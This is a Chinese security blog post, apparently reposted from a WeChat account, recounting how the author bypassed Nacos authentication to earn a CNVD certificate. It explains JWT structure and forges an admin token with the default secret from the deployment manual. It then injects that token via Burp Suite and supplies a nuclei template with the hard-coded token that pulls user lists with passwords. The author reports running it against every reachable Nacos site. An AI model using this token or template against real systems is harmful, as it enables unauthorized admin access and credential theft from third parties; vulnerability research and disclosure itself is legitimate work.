记一次CNVD证书挖掘:Nacos

admin 2024年5月18日03:43:49评论44 views字数 1985阅读6分37秒阅读模式

在某一次挖洞的过程中,灯塔扫描出来一个Nacos未授权访问的漏洞

记一次CNVD证书挖掘

在好奇心的驱使下,我去搜索了一下这个名为Nacos的系统。Nacos是阿里维护的一个开源的项目,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

记一次CNVD证书挖掘

然后就开始了我的挖洞之旅。我先是通过官网提供的控制台样例去了解这个系统。通过BP抓包,获取到系统登录成功的响应包。我们可以看到该系统是通过JWT token进行鉴权,鉴权点在返回包的Authorization头部和响应体的accessToken字段

记一次CNVD证书挖掘

JWT(Json web token)是为了在网络应用环境间传递声明而执行的一种基于JSON的开发标准。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT由三部分组成:header(头部)、payload(载荷)、signature(签名)。JWT的格式为:header.payload.signature

header部分一般包含两部分信息:

  • 声明类型,这里是jwt

  • 声明加密的算法 通常直接使用 HMAC SHA256

完整头部如下:

{  'typ': 'JWT',  'alg': 'HS256'}

然后将头部进行base64加密得到第一部分

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

payload部分就是存放有效信息的地方,一般包含三部分

  • 标准中注册的声明

  • 公共的声明

  • 私有的声明

将我们获取到的token解析后就会得到以下部分

{  "sub": "nacos",  "exp": 1687248824}

signature部分是最重要的部分,它是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)

  • payload (base64后的)

  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串(头部在前),然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

了解了JWT token是如何构成的之后,我就想着,我是否可以自行构建一个token,从而绕过登录,直接进入后台呢,但是想要生成一个JWT token,密钥部分是必不可少的。然后我就开始翻官方的部署手册。不得不说,官方的部署手册是真的不辍。里面提供了默认的密钥(2.2.0版本以前的nacos配置文件中也有,在那之后就被删除了),说干就干,咱赌的就是他们没有修改默认密钥。

记一次CNVD证书挖掘

如今已经获取到了密钥,使用JWT Token在线生成工具可以直接生成。如下:加密方式选择HS256,Type选择jwt,选择一个token过期时间,面向用户我们填nacos,因为该系统默认的管理员用户就是nacos,最后输入我们从部署手册获取到的密钥。点击生成

记一次CNVD证书挖掘

记一次CNVD证书挖掘

获取到token后,我们尝试随意选择一个Nacos网站。默认口令:nacos/nacos无法登录成功。

记一次CNVD证书挖掘

BP拦截响应包

记一次CNVD证书挖掘

替换响应包格式,将我们生成的token输入进去,直接放包

记一次CNVD证书挖掘成功进入系统。

记一次CNVD证书挖掘随后我编写了一个nuclei脚本(脚本在文章末尾),尝试用这个token去访问所有我能获取到的nacos站点后台,均能成功。

记一次CNVD证书挖掘

最终也是成功拿下了CNVD原创漏洞证书

记一次CNVD证书挖掘

记一次CNVD证书挖掘

记一次CNVD证书挖掘

nuclei脚本源码:

id: nacos-unauthorized
info: name: Nacos unauthorized author: pb severity: critical description: Nacos unauthorized tags: nacos,unauthorized
requests: - raw: - | GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyIiOltdLCJpYXQiOjE2ODgwNjIzMDksImV4cCI6MTY4ODE0MDc5OSwiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoibmFjb3MifQ.qONuvSSkjZOqFdegldvduChcYFIHRjUEIvlc0SyHT9I HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers:
- type: word part: body condition: and words: - '"username"' - '"password"' - type: status status: - 200
# Enhanced by mp on 2023/02/28


原文始发于微信公众号(隐雾安全):记一次CNVD证书挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日03:43:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次CNVD证书挖掘:Nacoshttps://cn-sec.com/archives/2045461.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息